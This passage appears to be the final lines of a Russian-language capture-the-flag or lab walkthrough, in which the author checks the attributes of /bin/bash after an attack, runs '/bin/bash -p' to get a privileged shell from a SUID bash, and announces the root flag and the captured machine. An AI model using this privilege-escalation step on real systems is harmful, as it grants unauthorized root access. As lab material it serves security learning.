После атаки проверяем атрибуты файла /bin/bash.
/bin/bash -p
У нас есть флаг рута, а это значит, что машина захвачена!